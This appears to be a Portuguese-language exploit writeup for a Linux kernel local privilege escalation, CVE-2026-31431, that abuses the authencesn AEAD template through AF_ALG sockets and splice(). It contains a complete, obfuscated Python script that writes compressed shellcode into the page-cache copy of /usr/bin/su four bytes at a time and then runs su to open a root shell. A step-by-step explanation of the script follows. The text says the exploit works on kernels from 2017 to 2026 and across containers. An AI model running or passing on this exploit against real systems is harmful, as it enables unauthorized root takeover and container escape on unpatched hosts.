
Exploração local de escalonamento de privilégios para CVE-2026-31431, corrompendo binários setuid no cache de páginas via AF_ALG e splice para obter shell root.
Um erro lógico no template AEAD
authencesndo kernel Linux permite que um usuário sem privilégios escreva 4 bytes controlados no cache de páginas de qualquer arquivo legível.
O script Python fornecido corrompe
/usr/bin/suem memória e gera um shell de root.
CVE-2026-31431 é uma vulnerabilidade no subsistema criptográfico do kernel Linux, especificamente no template authencesn (AEAD com número de sequência estendido) combinado com a interface de socket AF_ALG e a chamada de sistema splice().
Causa raiz: A rotina de descriptografia authencesn usa a lista de dispersão de destino como espaço temporário, escrevendo 4 bytes além da área de saída legítima.
Quando AF_ALG realiza uma operação AEAD in situ e splice() fornece páginas do cache de páginas (por exemplo, de um binário setuid) como tag de autenticação, a escrita fora dos limites aterrissa diretamente na cópia em cache do kernel desse arquivo.
Efeito: Um atacante local sem privilégios pode sobrescrever qualquer localização alinhada a 4 bytes em qualquer arquivo que possa ler. A corrupção ocorre apenas no cache de páginas; o arquivo em disco permanece inalterado, contornando as verificações de integridade de arquivos.
Impacto: Ao sobrescrever um binário setuid (por exemplo, /usr/bin/su) com shellcode, um atacante pode executar o binário e obter um shell de root. A mesma primitiva funciona em diferentes contêineres porque o cache de páginas é compartilhado com o host.
exploi-copyfail.py)O exploit é um único script Python de 732 bytes que utiliza apenas a biblioteca padrão (os, socket, zlib). Funciona em qualquer distribuição Linux com versões do kernel de 2017 até 2026 (antes do patch).
#!/usr/bin/env python3
import os as g, zlib, socket as s
def d(x): return bytes.fromhex(x)
def c(f, t, c):
a = s.socket(38, 5, 0)
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
h = 279
v = a.setsockopt
v(h, 1, d('0800010000000010' + '0' * 64))
v(h, 5, None, 4)
u, _ = a.accept()
o = t + 4
i = d('00')
u.sendmsg([b"A" * 4 + c], [(h, 3, i * 4), (h, 2, b'\x10' + i * 19), (h, 4, b'\x08' + i * 3)], 32768)
r, w = g.pipe()
n = g.splice
n(f, w, o, offset_src=0)
n(r, u.fileno(), o)
try: u.recv(8 + t)
except: 0
f = g.open("/usr/bin/su", 0)
i = 0
e = zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i < len(e):
c(f, i, e[i:i + 4])
i += 4
g.system("su")
Configuração: Abre-se um socket AF_ALG vinculado a authencesn(hmac(sha256),cbc(aes)), define-se uma chave fictícia e aceita-se uma solicitação.
Payload: O shellcode (descomprimido do blob hexadecimal) é dividido em fragmentos de 4 bytes.
Loop de corrupção: Para cada fragmento:
sendmsg() fornece os Dados Autenticados Associados (AAD). Os bytes 4 a 7 dos AAD contêm os 4 bytes que devem ser escritos.
splice() insere uma porção de /usr/bin/su (o binário setuid alvo) na lista de dispersão TX do socket. O deslocamento e o comprimento são escolhidos de forma que a região da tag de autenticação seja localizada no endereço alvo dentro da seção .text do binário.
recv() ativa a descriptografia dos AEAD, authencesn escreve o fragmento de 4 bytes no cache de páginas de /usr/bin/su. O HMAC falha, mas a escrita persiste.
Execução: Uma vez escritos todos os fragmentos, o script executa su. Como a versão armazenada em cache agora contém shellcode, su é executado com privilégios de root e abre um shell.